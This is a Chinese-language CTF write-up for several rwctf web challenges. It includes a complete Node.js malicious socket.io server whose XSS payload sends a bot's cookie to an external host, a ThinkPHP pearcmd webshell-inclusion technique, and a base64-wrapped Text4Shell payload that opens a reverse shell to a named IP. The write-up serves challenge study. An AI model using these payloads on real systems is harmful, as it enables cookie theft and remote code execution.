rwctf 部分wp
chatwuu
基于ws的聊天室,有后台bot,仅可以向bot提交聊天室的url,flag在bot的cookie里。
evil connect
在 index.html中
1let query = new URLSearchParams(location.search),
2 nickname = query.get('nickname'),
3 room = query.get('room');
4 if (!nickname || !room) {
5 reset();
6 }
7 for (let k of query.keys()) {
8 if (!['nickname', 'room'].includes(k)) {
9 reset();
10 }
11 }
12 document.title += ' - ' + room;
13 let socket = io(`/${location.search}`),
14 messages = document.getElementById('messages'),
15 form = document.getElementById('form'),
16 input = document.getElementById('input');
主要的代码就是这里
1let socket = io(`/${location.search}`)
其本意是让浏览器向server发起ws连接,但因为这个的参数内容可控 与绕过ssrf一些域名检测的方法类似,使用xxx@host来绕过 即可以收到来自客户端的请求
这个时候,说明我们可以控制客户端连接的chat server
DOMPurify
默认有两个房间,一个textContent,没办法执行,但DOMPurify可以
1 if (room === 'DOMPurify') {
2 io.to(room).emit('msg', {
3 from: DOMPurify.sanitize(msg.from),
4 text: DOMPurify.sanitize(msg.text),
5 isHtml: true
6 });
可以看到isHtml为true 但是这里使用了DOMPurify来过滤危险的html代码,所以第一时间想到的考点是对DOMPurify的过滤 但其实并不是,我们执行要让客户端连接我们的恶意server就可以绕过该限制
思路
通过提交一个特殊参数的url,使bot在访问聊天室的时候,聊天室连接的服务器为我们的恶意服务器,即 http://xxxxx:58000/?room=DOMPurify&nickname=r1gelx@xx.rigelx.top:43919 这里控制nickname 使得客户端连接我们的恶意服务器,以便于我们发送不经过DOMPurify的payload。然后通过DOMPurify的房间得到了为true的isHtml参数,于是在客户端会把拿到的payload当作html执行。 过程就是,提交恶意参数,使bot访问题目可执行html和js的聊天室,然后经过location.serach访问到恶意的chat服务器,由服务器向客户端返回恶意代码,然后在客户端执行,外带cookie
evil server
因为CORS的原因,所以不能简单的修改题目代码 修改CORS
1const cors = require('cors')
2const cors_options = {
3 origin: "*"
4 optionsSuccessStatus: 200
5}
完整代码
1const app = require('express')();
2const http = require('http').Server(app)
3const cors = require('cors')
4
5const io = require('socket.io')(http,{
6cors: {
7 origin: "*"
8}
9})
10
11const cors_options = {
12 origin: "*",
13 optionsSuccessStatus: 200
14}
15
16app.get('/',cors(cors_options),(req, res)=>{
17 console.log(req.query)
18});
19
20io.on('connection',(socket)=>{
21 console.log("connect ok")
22 let {room} = socket.handshake.query;
23 socket.join(room);
24 io.to(room).emit('msg', {
25 from: 'R1gelX',
26 text: '<img src=x onerror="document.location=\'http://x.rigelx.top:43919/?\'+document.cookie;">',
27 isHtml: true
28 });
29});
30const hostname = '0.0.0.0';
31const port = 43919;
32http.listen(port, hostname,()=>{
33 console.log(`ChatUWU malicious server running at http://${hostname}:${port}/`);
34})
即可在监听端接收到flag 提交即可
Be-a-Language-Expert
thinkphp6的多语言模块包含,先包含pearcmd往tmp下写马子,然后再包含执行
ApacheCommandText
text4shell;过滤了 script file url dns 利用base64Decoder去绕过 反弹shell失败,是runtime.exec()的问题 所以payload:
1${script:javascript:java.lang.Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/49.235.109.5/8898 0>&1");}
然后base64后放入${base64Decoder:xxxx} 就行了。
Comments